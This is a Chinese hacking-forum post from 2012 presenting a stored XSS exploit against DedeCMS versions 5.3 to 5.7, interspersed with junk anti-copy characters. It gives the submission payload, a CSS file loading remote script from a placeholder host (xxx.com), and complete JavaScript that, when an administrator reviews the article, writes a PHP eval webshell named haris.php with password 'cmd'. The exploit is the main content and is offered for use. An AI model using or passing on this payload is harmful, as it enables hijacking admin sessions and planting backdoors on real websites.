找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2001|回复: 0
打印 上一主题 下一主题

dedecms xss oday通杀所有版本 可getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 13:56:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
<DIV id=read_tpc mb10?>漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行。可getshell
& C. P/ p. D  @% g0 Z为什么说它是ODay呢,能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)
2 o" I2 N0 S4 y& ?5 [# N" @# p/ Z目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。& T( z) B" j  z
下面说说利用方法。5 K' |3 w4 H# |1 g. E. A
条件有2个:
6 [* w: p* N2 p3 I/ X0 ?9 p1.开启注册. P3 N* o" S8 s# i; v" y  c
2.开启投稿, I' Y0 R& Z3 R7 O1 t- ]. V
注册会员----发表文章
' G/ B9 B4 s* h" B2 v内容填写:3 B8 Q5 x2 e  t! z) M% R# P: ^2 ]
复制代码
1 {3 G2 [8 l+ G$ Y<style>@im\port'\http://xxx.com/xss.css';</style>; b* Q6 w# N  v5 t+ I
新建XSS.Css
* Z4 }" l& k5 G& p' ?- t8 H复制代码# {+ s, @5 N6 b: r3 C6 o( k
.body{
# c; I6 i" N; N  ?background-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }) x( a$ \% ?6 J: D8 D
新建xss.js 内容为6 t0 v/ y8 o: W- o% Y$ B8 t. C3 y
复制代码3 H( w( G- s( V! U2 g
1.var request = false;0 F/ s5 }4 v- S* O' w* R3 m
2.if(window.XMLHttpRequest) {
+ T6 S- ]4 O& C5 c3.request = new XMLHttpRequest();
9 d8 E4 l& j4 ]+ ?% h( B4.if(request.overrideMimeType) {
7 z" s4 h4 _- h  ?5.request.overrideMimeType('text/xml');5 l( t+ O( @. @1 R/ Y0 I6 [+ K5 R
6.}0 @" D- c, j3 X8 T
7.} else if(window.ActiveXObject) {+ W& J: c0 b' u4 b
8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];, P# e' y7 W! Y. s8 J) T
9.for(var i=0; i<versions.length; i++) {( t! W- M) j0 R  q, ^9 ?& [. h+ T
10.try {
/ Z9 h9 n6 p# p) w" h# c, \11.request = new ActiveXObject(versions);
' Y  a: t& g, r: [  r+ j12.} catch(e) {}4 S& U- ?( |7 \( d' X
13.}* T. O1 b! B& ~8 E
14.}
. [2 K# Q9 N7 \) H1 i15.xmlhttp=request;4 k. q" X* q: W2 u; g% e- m
16.function getFolder( url ){/ ?/ ]1 S5 `, T+ ^' h
17. obj = url.split('/')% }7 A, U- S2 v( F. L4 }
18. return obj[obj.length-2]5 `# j6 w. J% g' x
19.}
! `% a2 e$ ~% B, v20.oUrl = top.location.href;
8 A0 R' g3 U- c6 C21.u = getFolder(oUrl);
% O; Y; R5 N1 Q8 ~9 l22.add_admin();
  Q9 `! c, R8 V7 Z- N23.function add_admin(){
' G+ Q0 d9 U" J9 F+ S' [0 _24.var url= "/"+u+"/sys_sql_query.php";; J+ Z3 ^; e, C+ ?. I
25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";: P) w/ |7 y2 M9 B; z3 L
26.xmlhttp.open("POST", url, true);
  ^* U) B3 r8 h* i7 k" |% i27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");9 ]6 x) O3 K' i' `
28.xmlhttp.setRequestHeader("Content-length", params.length);
2 H2 V( T- S" V9 [  c; M29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");( J+ ?' V  N+ A% Z  y2 B3 J9 y
30.xmlhttp.send(params);6 M. l! _- O. g5 l0 T1 X* R$ D% v9 `- Q
31.}
2 b2 C# r2 M2 Q% I1 u9 H' t当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表